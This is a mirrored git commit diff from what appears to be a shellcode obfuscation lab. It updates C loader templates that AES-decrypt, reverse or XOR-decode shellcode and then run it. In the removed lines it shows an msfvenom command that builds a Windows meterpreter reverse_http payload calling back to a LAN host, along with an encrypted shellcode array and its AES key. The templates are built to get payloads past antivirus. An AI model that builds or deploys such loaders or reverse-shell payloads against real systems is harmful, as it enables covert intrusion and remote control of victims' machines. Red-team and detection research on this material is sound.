mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
code update
This commit is contained in:
@@ -41,16 +41,7 @@ int main(void)
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 aes.py met.bin
|
||||
/*
|
||||
char shellcode[] = { 0xee, 0xd5, 0x86, 0x39, 0xa3, 0x5c, 0x1c, 0x99, 0x9b, 0x26, 0xd0, 0xe8, 0x66, 0x2e, 0xe1, 0xc5, 0x3, 0x8e, 0x2c, 0xea, 0x3a, 0x36, 0x99, 0x5a, 0xcc, 0x37, 0xc1, 0xbb, 0x67, 0xcc, 0xb3, 0xed, 0x9d, 0x96, 0x8, 0x84, 0x83, 0xa9, 0xdb, 0x3a, 0x39, 0xe, 0x4e, 0xe0, 0x42, 0x5d, 0x1a, 0x69, 0x3d, 0x4f, 0xa7, 0x67, 0x35, 0xec, 0xaf, 0x11, 0xc, 0x75, 0xc, 0xe2, 0xe6, 0x70, 0x10, 0x28, 0xaa, 0xd1, 0x5c, 0xb6, 0x52, 0xe4, 0xa7, 0xeb, 0xc1, 0xfc, 0x32, 0xe7, 0x69, 0xfd, 0x5e, 0xa6, 0xe6, 0xc6, 0x14, 0x7f, 0x57, 0x42, 0x7f, 0x55, 0x13, 0x63, 0x27, 0x79, 0x43, 0x8f, 0x60, 0x70, 0x3c, 0x9a, 0xe8, 0xd9, 0xfa, 0xd6, 0xf6, 0xea, 0xfc, 0xa6, 0x86, 0x70, 0xd, 0xc8, 0x60, 0x49, 0x13, 0x69, 0xf1, 0xcc, 0x7f, 0x3, 0xbd, 0x42, 0x79, 0x43, 0xa7, 0x73, 0x6d, 0xda, 0x8c, 0xdc, 0x11, 0xd9, 0x3e, 0x90, 0xa2, 0xd7, 0xc9, 0x9d, 0x19, 0x35, 0xc8, 0xc3, 0x58, 0xed, 0x81, 0x64, 0xf7, 0xa6, 0x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, 0x47, 0x88, 0xb2, 0x1c, 0x4f, 0x13, 0x9e, 0xea, 0xd4, 0x64, 0xe8, 0x57, 0xa0, 0x4, 0x22, 0xbf, 0xf7, 0x97, 0x22, 0x42, 0xb2, 0xd, 0xb9, 0x38, 0xb9, 0x34, 0xa9, 0x1a, 0x43, 0x11, 0x34, 0x91, 0xf3, 0x9c, 0x63, 0x6, 0x5e, 0xf0, 0x80, 0x5c, 0x15, 0x6, 0x70, 0x40, 0x24, 0x7e, 0x6e, 0x92, 0x2a, 0xfd, 0x51, 0xd1, 0x1, 0x18, 0x7a, 0xfb, 0x63, 0x5b, 0x64, 0xd4, 0x99, 0xf8, 0xbc, 0x8d, 0x36, 0x32, 0x31, 0xaf, 0x6a, 0xe3, 0x8f, 0xd8, 0x3e, 0x85, 0x64, 0x64, 0xc, 0x2e, 0x29, 0x67, 0xbb, 0xe3, 0xa9, 0x1e, 0x41, 0x30, 0xd8, 0x29, 0x86, 0x88, 0x98, 0x49 };
|
||||
// Decrypt our payload
|
||||
char AESkey[] = { 0x28, 0xa6, 0x8d, 0x1f, 0xaf, 0xe5, 0x1a, 0xd4, 0x4f, 0x8d, 0x41, 0x55, 0xd3, 0xb4, 0xda, 0xfa };
|
||||
*/
|
||||
|
||||
AESDecrypt((char *) shellcode, sizeof(shellcode), AESkey, sizeof(AESkey));
|
||||
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
|
||||
@@ -7,10 +7,10 @@
|
||||
int main(void) {
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
char shellcode[562] = { 0 };
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
char shellcode[sizeof(reversed_payload)] = { 0 };
|
||||
|
||||
// reverse our array of ints
|
||||
for (int i = 0; i < sizeof(reversed_payload); i++)
|
||||
{
|
||||
|
||||
@@ -14,12 +14,12 @@ int main(void) {
|
||||
printf("Reversed hex string: %s\n", hex_string);
|
||||
|
||||
// declare a new shellcode byte array
|
||||
char shellcode[598];
|
||||
char shellcode[sizeof(reversed_hex_string)] = { 0 };
|
||||
|
||||
// define an index to keep track of where we're at
|
||||
int idx = 0;
|
||||
int count = 0;
|
||||
const int MAX_TOKENS = 598;
|
||||
const int MAX_TOKENS = sizeof(reversed_hex_string);
|
||||
char* next_token = NULL;
|
||||
char* token = strtok_s(hex_string, ",", &next_token);
|
||||
while (token != NULL && count < MAX_TOKENS) {
|
||||
|
||||
@@ -10,7 +10,7 @@ int main(void)
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
char shellcode[598] = {0};
|
||||
char shellcode[sizeof(reversed_payload)] = {0};
|
||||
unsigned int len = sizeof(reversed_payload);
|
||||
int xorkey = 23;
|
||||
|
||||
|
||||
Reference in New Issue
Block a user